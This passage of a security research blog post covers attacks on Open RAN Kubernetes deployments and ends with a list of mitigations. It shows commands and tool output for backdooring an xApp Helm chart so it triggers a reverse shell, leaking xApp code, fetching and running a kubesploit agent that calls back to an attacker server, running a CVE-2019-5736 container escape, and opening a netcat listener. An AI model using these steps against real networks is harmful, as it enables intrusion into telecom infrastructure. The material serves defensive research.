100   289  100   289    0     0   6422      0 --:--:-- --:--:-- --:--:--  6422
  "hw-python": [
      "name": "hw-python",
      "version": "1.0.1",
      "description": "Standard xApp Helm Chart",
      "apiVersion": "v1",
      "appVersion": "1.0",
      "urls": [
      "created": "2022-10-21T13:14:52.786219853Z",
      "digest": "91502ddf0239c5dec97b4f03730962aa0f997f3873de05a3657202bed5afd5ed"

However, attempting to install it in the ricxapp namespace remotely without configuring any token or client certificate to access the Kubernetes API server will result in being blocked. This is a result of the default Open RAN configuration:

$ helm install hw-python ./hw-python  --namespace=ricxapp --kube-insecure-skip-tls-verify                               
Error: INSTALLATION FAILED: unable to build kubernetes objects from release manifest: unknown

Therefore, we must wait until someone with credentials installs or upgrades the xApp with the backdoored one.

An example of installing a backdoored xApp:

# dms_cli install --xapp_chart_name=hw-python --version=1.0.1 --namespace=ricxapp
status: OK

Once the "latest version" of the xApp is deployed, we can wait until the reverse shell is triggered and continue the tests inside a container.

Leaking code of an xApp

Backdooring a Chart is not the only risk. Indeed, the code of a chart can also be stolen through this Chart and can allow a potential attacker to search for vulnerabilities inherent to the xApp stored in the exposed Chart.

To obtain an xApp, we can use dms_cli to download the Helm chart application as follows:

$ dms_cli download_helm_chart hw-python 1.0.0 --output_path=LeakedApps
status: OK

The source of the xApp is then available in our local directory LeakedApps, and we proceed by examining the downloaded archive in that directory:

$ ls LeakedApps         

This allows us to investigate all leaked xApps to find potential vulnerabilities, gain access to docker containers, extract secrets for reuse on the infrastructure, and more.

Finding our way out inside a docker container

Once we have accessed the container used in an Open RAN infrastructure, we also want to find our way out.

In this situation, we can use well-known several tools to automate the research of configuration mistakes, along with manual enumeration:

  • kubesploit;
  • Linpeas;
  • And other public scripts and tools.

Starting with kubesploit, which was developed to focus on Kubernetes, we need to install an agent that will fingerprint the compromised container to search for vulnerabilities:

### To use on the compromized docker container
# curl
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.
# curl --output agent
curl --output agent
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 32.5M  100 32.5M    0     0   119M      0 --:--:-- --:--:-- --:--:--  119M
# chmod +x agent
chmod +x agent
# ./agent -url

Running the server from our side, we can see the agent connecting to it:

### to run on a public server in the attacker side
└─$ ./server 
[+] Started HTTP2 listener on                                                                          
[+] New authenticated agent checkin for b6124b21-23f5-4fdd-ad96-cc1f49c8604d from at 2022-10-12T17:41:47Z                                                                                                               

After that, the same way as using Metasploit, we can call a module that will scan for vulnerabilities inside the container:

kubesploit» use module linux/go/clusterCVEScan 
kubesploit[module][K8sClusterCVEScan]» set url
[+] url set to                                                                              
kubesploit[module][K8sClusterCVEScan]» run
[-] Created job dpTPOoQyHE for agent b6124b21-23f5-4fdd-ad96-cc1f49c8604d at 2022-10-12T17:43:23Z                   

[+] Results for b6124b21-23f5-4fdd-ad96-cc1f49c8604d job dpTPOoQyHE at 2022-10-12T17:43:30Z                         

[*] Scanning Kubernetes cluster:
[*] Current cluster version: v1.16.0                                                                                

[*] ID: CVE-2019-11253                                                                                              
[*] Description: Kubernetes billion laughs attack vulnerability that allows an attacker to perform a Denial-of-Service (DoS)                                                                                                            
attack on the Kubernetes API server by uploading a maliciously crafted YAML file.                                   
[*] Fixed versions: 1.13.12, 1.14.8, 1.15.5, 1.16.2                                                                 

[*] ID: CVE-2019-11254                                                                                              
[*] Description: The Kubernetes API Server component in versions 1.1-1.14, and versions prior to 1.15.10, 1.16.7    
and 1.17.3 allows an authorized user who sends malicious YAML payloads to cause the kube-apiserver to consume excessive CPU cycles while parsing YAML.                                                                                  
[*] Fixed versions: 1.15.10, 1.16.7, 1.17.3                                                                         

[*] ID: CVE-2020-8558                                                                                               
[*] Description: The kubelet and kube-proxy were found to contain security issue                                    
which allows adjacent hosts to reach TCP and UDP services bound to running on the node or in the node's network namespace.                                                                                                    
Such a service is generally thought to be reachable only by other processes on the same host,                       
but due to this defeect, could be reachable by other hosts on the same LAN as the node, or by containers running on the same node as the service.                                                                                       
[*] Fixed versions: 1.16.11, 1.17.7, 1.18.4, 1.16.2                                                                 

[*] ID: CVE-2020-8559                                                                                               
[*] Description: The Kubernetes kube-apiserver is vulnerable to an unvalidated redirect on proxied upgrade requests 
that could allow an attacker to escalate privileges from a node compromise to a full cluster compromise.            
[*] Fixed versions: 1.16.13, 1.17.9, 1.18.6                                                                         

[*] Done

Using some other modules, we can also see some other opportunities and limitations to elevate our privileges:

kubesploit» use module linux/go/vulnerabilityTest
kubesploit[module][vulnerabilityTest]» run
[-] Created job NYfOTtVKFc for agent 515900ff-cc4d-4c4e-b54c-3972f7c556ba at 2022-10-21T22:13:59Z

[+] Results for 515900ff-cc4d-4c4e-b54c-3972f7c556ba job NYfOTtVKFc at 2022-10-21T22:14:04Z                        

========= LOGS =========                                                                                           
[i] The container is running with apparmor profile
[i] Start of Docker sock breakout vulnerability test
[!] The requested path:docker.sock is not mounted with the requested mount option:rw. Ending test
[i] Start of Kubelet vulnerability test
[!] Http request to kubelet failed due to the error:Get "": dial tcp connect: connection refused.Ending test
[i] Start of Mount breakout vulnerability test
[!] the container is not vulnerable to Mount breakout exploit, user doesn't have sys_admin cap 
[i] Start of var log escape vulnerability test
[!] Http request to kubelet failed due to the error:Get "": dial tcp connect: connection refused.Ending test
[i] Start of CVE-2019-5736 vulnerability test
[+] The container is vulnerable to CVE-2019-5736 
[i] Start of Cgroup breakout vulnerability tests
[i] No CAP_SYS_ADMIN, Check if the cgroup RDMA is read-write
[!] Cgroup RDMA is not mounted read-write. Ending test
[i] Start of Kernel module breakout vulnerability tests
[!] Could not test the vulnerability, the make doesn't exists or you cant run it
[!] Could not test the vulnerability, the insmod doesn't exists or you cant run it

========= RESULTS =========
The container is vulnerable to the following exploits:
[+] *** CVE-2019-5736, Depends if your Docker version is below 18.09.2 and runC version is below 1.0-rc6           

kubesploit[module][vulnerabilityTest]» break

[i] Executing system command...                                                                                    

[!] exec: "break": executable file not found in $PATH                                                              
kubesploit[module][vulnerabilityTest]» back
kubesploit» use module linux/go/cve2019_5736
kubesploit[module][CVE-2019-5736]» run
[-] Created job WWBlANKNrf for agent 515900ff-cc4d-4c4e-b54c-3972f7c556ba at 2022-10-21T22:14:40Z

[+] Results for 515900ff-cc4d-4c4e-b54c-3972f7c556ba job WWBlANKNrf at 2022-10-21T22:14:52Z                        

[+] Overwritten /bin/sh successfully

[+] Results for 515900ff-cc4d-4c4e-b54c-3972f7c556ba job WWBlANKNrf at 2022-10-21T22:14:55Z                        

[*] Exploit for CVE-2019-5736 is running, try "docker exec" to the container

Using the reverse shell, we can also launch the LinPeas script to find other types of vulnerabilities. This tool quickly highlights the presence of possible CVEs:

$ nc -l -p 6666                  
# ./
╔══════════╣ CVEs Check
Potentially Vulnerable to CVE-2022-2588     
╔══════════╣ Executing Linux Exploit Suggester
[+] [CVE-2022-2586] nft_object UAF                                                                                 

   Exposure: probable
   Tags: [ ubuntu=(20.04) ]{kernel:5.12.13}
   Download URL:
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Exposure: probable
   Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
   Download URL:
   Comments: ip_tables kernel module must be loaded

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

   Exposure: less probable
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL:
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-27365] linux-iscsi

   Exposure: less probable
   Tags: RHEL=8
   Download URL:
   Comments: CONFIG_SLAB_FREELIST_HARDENED must not be enabled


But also, the list mitigations and capabilities we can abuse:

╔══════════╣ Protections
═╣ AppArmor enabled? .............. /etc/apparmor.d                                                                
═╣ grsecurity present? ............ grsecurity Not Found
═╣ PaX bins present? .............. PaX Not Found                                                                  
═╣ Execshield enabled? ............ Execshield Not Found                                                           
═╣ SELinux enabled? ............... sestatus Not Found                                                             
═╣ Seccomp enabled? ............... disabled                                                                       

╔══════════╣ Container & breakout enumeration
═╣ Container ID ................... e2term-alpha═╣ Container Full ID .............. docker-de23ea925ab0459358e459762f94fe045c28183c3572bf7992133fb840a6977d.scope
═╣ Seccomp enabled? ............... disabled
═╣ AppArmor profile? .............. docker-default (enforce)
═╣ User proc namespace? ........... enabled
═╣ Vulnerable to CVE-2019-5021 .... No


Parent Shell capabilities:

Files with capabilities (limited to 50):
/usr/bin/ping = cap_net_raw+ep

Note that these tests can be enlarged by executing the agent and LinPeas script in all pods as well.

Merging all results, we can enumerate several probable CVEs depending on the host environment and Kubernetes configurations and confront them to the actual situation in our lab environment:

CVE ID Description Risks Requirements
CVE-2019-11253 Kubernetes billion laughs attack vulnerability that allows an attacker to perform a Denial-of-Service (DoS) attack on the Kubernetes API server by uploading a maliciously crafted YAML file. Denial of Service Authorizations to upload a crafter YAML file on the Kubernetes API
CVE-2019-11254 The Kubernetes API Server component in versions 1.1-1.14, and versions prior to 1.15.10, 1.16.7 and 1.17.3 allows an authorized user who sends malicious YAML payloads to cause the kube-apiserver to consume excessive CPU cycles while parsing YAML. Latency / Denial of Service Authorizations to upload a crafter YAML file on the Kubernetes API
CVE-2020-8558 The kubelet and kube-proxy were found to contain security issue which allows adjacent hosts to reach TCP and UDP services bound to running on the node or in the node's network namespace. Such a service is generally thought to be reachable only by other processes on the same host, but due to this defeect, could be reachable by other hosts on the same LAN as the node, or by containers running on the same node as the service. Lateral movement by reaching local services in the cluster by reaching unauthenticated services Use of kube-proxy, or net.ipv4.conf.*.route_localnet
CVE-2020-8559 The Kubernetes kube-apiserver is vulnerable to an unvalidated redirect on proxied upgrade requests that could allow an attacker to escalate privileges from a node compromise to a full cluster compromise. Execute commands on any other Container in the cluster Kubelet process responding to /exec, /attach, /portforward, or any resource: proxy action with a HTTP 302 Redirect by exploiting the open redirect with a rogue Kubelet server during a phishing attack
CVE-2022-2586 A use-after-free flaw was found in nf_tables cross-table in the net/netfilter/nf_tables_api.c function in the Linux kernel. This flaw allows a local, privileged attacker to cause a use-after-free problem at the time of table deletion, possibly leading to local privilege escalation. Privileges escalation, container escape? Needs CAP_NET_ADMIN capabilities
CVE-2021-22555 A flaw was discovered in processing setsockopt IPT_SO_SET_REPLACE (or IP6T_SO_SET_REPLACE) for 32 bit processes on 64 bit systems. This flaw will allow local user to gain privileges or cause a DoS through user name space. This action is usually restricted to root-privileged users but can also be leveraged if the kernel is compiled with CONFIG_USER_NS and CONFIG_NET_NS and the user is granted elevated privileges. Privilege escalation, breaking the kubernetes pod isolation ip_tables kernel module must be loaded
CVE-2022-32250 A use-after-free vulnerability was found in the Linux kernel's Netfilter subsystem in net/netfilter/nf_tables_api.c. This flaw allows a local attacker with user access to cause a privilege escalation issue. Privilege escalation, container escape? kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
CVE-2021-27365 An issue was discovered in the Linux kernel through 5.11.3. Certain iSCSI data structures do not have appropriate length constraints or checks, and can exceed the PAGE_SIZE value. An unprivileged user can send a Netlink message that is associated with iSCSI, and has a length up to the maximum length of a Netlink message. Privilege escalation, container escape? CONFIG_SLAB_FREELIST_HARDENED must not be enabled (enabled by default in Ubuntu)
CVE-2022-2588 A use-after-free flaw was found in route4_change in the net/sched/cls_route.c filter implementation in the Linux kernel. This flaw allows a local user to crash the system and possibly lead to a local privilege escalation problem. Privilege escalation, container escape Needs CAP_NET_ADMIN capabilities
CVE-2022-20409 In io_identity_cow of io_uring.c, there is a possible way to corrupt memory due to a use after free. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-238177383References: Upstream kernel To be studied... To be studied...
... ...

Based on this matrix, the attacker can attempt to exploit public vulnerabilities to elevate privileges or even chain them with CVE-2022-32250 if possible, especially when CAP_NET_ADMIN capabilities are required, as in the case of exploiting a DirtyCred vector [11].

Other methods also exist, such as abusing cgroup features and sys_admin capabilities.

A successful privilege escalation from a container would enable an attacker to compromise the entire cluster, allowing them to:

  • steal sensitive information,
  • reuse credentials in other systems,
  • pivoting to another subnetwork and intruding on the internal network of the operator,
  • and many other critical actions.

Within the container, the attacker can also attempt to collect JWT tokens and replay them in other pods within the cluster.

Furthermore, certain vulnerabilities, such as CVE-2020-8559, present excellent opportunities during a phishing attack. However, attackers can also employ other social engineering techniques to steal employees' credentials or gain control of their desktops to pilfer tokens, API keys, exploit GitHub leaks, or gain access to various databases.

Pivoting attacks from an xApp

Whenever we manage to escape from a container, it becomes crucial to investigate the vulnerabilities present in the different interfaces. For instance, in a previous article published Trend Micro's blog [12], three bugs related to RIC Message Router parsing were identified:

In fact, in a previous article written in Trend Micro's blog [12], three bugs focusing on RIC Message Router parsing have been highlighted:

  • CVE-2023-40998: A crafted malicious packet from an xApp causes RT RIC’s E2term to crash;
  • CVE-2023-40997: A crafted message sent in an invalid format cause near-RT RIC’s E2term to;
  • CVE-2023-41627: RMR Table spoofing.

These bugs targeted the O-RAN framework's stack, and those resulting in crashes could be challenging for operators to detect in a Kubernetes context, as each pod automatically restarts. However, assuming we discover a vulnerability enabling code execution, an attacker could easily pivot to the vulnerable pod located on another host.

Security mitigations

As we've observed, it's possible to launch an attack due to the exposure of certain interfaces, compounded by misconfiguration issues in the initial Open RAN setup.

While it's unlikely for these interfaces to be exposed if one strictly follows the installation tutorial from O-RAN [11], some interfaces may need to be exposed for management purposes, such as SSH ports or VPN setups. Additionally, using cloud services to manage clusters through tools like Kubectl may inadvertently expose clusters to the public.

To mitigate these risks, consider the following measures:

  • Avoid exposing the cluster's public IP address directly; instead, use a proxy in a different IP range to make the infrastructure more challenging to target.
  • Ensure proper isolation of critical hosts from the cluster, and implement robust segmentation of infrastructures.
  • Utilize authentication tokens or client certificates to authenticate to the Kubernetes API and any other management interfaces.
  • Maintain regular updates and upgrades of application and kernel versions to patch vulnerabilities.
  • Implement seccomp profiles to limit sensitive system calls within containers.
  • Minimize the use of root privileges within workloads wherever possible.
  • Apply specific and least privilege rules, particularly when providing access for tiered services (e.g., AWS IAM).
  • Treat each cluster as untrusted and avoid storing any secrets (e.g., private keys, passwords) that could be reused against other components.
  • Conduct regular infrastructure testing, both internally and externally, using various penetration testing techniques.
  • Educate developers and administrators about spear-phishing attacks and the risks of secret leaks.
  • Utilize automatic tools and audits to sanitize leaks and ensure data integrity.


To offer an impartial view, hacking into an Open RAN infrastructure that's set up with default configurations isn't as straightforward as some media portrayals might imply. Misconfigurations and insufficient isolation can indeed increase the risk of external attacks, but it's also crucial to acknowledge that the inherent complexity of managing such infrastructures can introduce vulnerabilities that attackers could exploit. Those responsible for managing Open RAN networks might unintentionally make access points public or fall victim to spear-phishing attacks, leading to successful breaches.

Therefore, launching attacks on Open RAN systems is not necessarily easier; it's distinct from attacking traditional Core Network configurations, especially with the shift towards Next-Generation Core (NGC) infrastructure. This transition requires operators to adapt their processes, tools, and knowledge to a new paradigm that may be unfamiliar. Additionally, they face the challenge of operating legacy infrastructure in parallel with new Open RAN deployments.

The initial security stance of Open RAN systems is also influenced by the manufacturers of compliant components. Due to the complexities involved in implementing the Open RAN framework, operators might choose to purchase solutions instead of directly applying the standard.

As of this writing, it's important to note that the O-RAN stack primarily supports Ubuntu 18.04, with some components still maintaining compatibility with Ubuntu 16.04. Tools such as Kubernetes and Helm are often restricted to specific versions, but future updates are expected to enhance support for newer components to address patching challenges.

Moreover, in addition to Kubernetes, examining applications and interfaces unique to Open RAN, as well as the lower radio layer's condition, is critical. These areas, including resource orchestration—which is deemed essential in Open RAN deployments—may be explored in future discussions.

This article focuses on certain direct threats an attacker might encounter with an Open RAN respecting the same architecture proposed by O-RAN alliance [13]. But it's also pertinent to acknowledge that other O-RAN compliant products might adopt different strategies for orchestrating the different components.


[1] Open RAN – 5G hacking just got a lot more interesting by Karsten Nohl:

[2] Open RAN Risk Analysis by Stefan Köpsell et al.;jsessionid=5BCDAA3DF82C293ED8887A656BEFFC79.internet472?__blob=publicationFile&v=7

[3] O-RAN Demonstrations at MWC Shanghai 2021 and O-RAN Virtual Exhibition -

[4] O-RAN ALLIANCE Introduces 52 New Specifications Released since March 2022 -

[5] Intruding 5G SA core networks from outside and inside -

[6] Bug hunting in 5G-NR devices and networks -

[7] Threat vector: GTP Vulnerabilities in LTE and 5G networks 2020 -

[8] 5GC API Parser -

[9] Hacking 5G is too easy – Security Research Labs -

[10] Open RAN so easy to hack it's 'scary,' says top security boffin -

[11] Installing Near-realtime RIC -

[12] Opening Critical Infrastructure: The Current State of Open RAN Security -

[13] Open Software for the RAN -

Subscribe to our mailing list

New content, events, products, services, and more!

* indicates required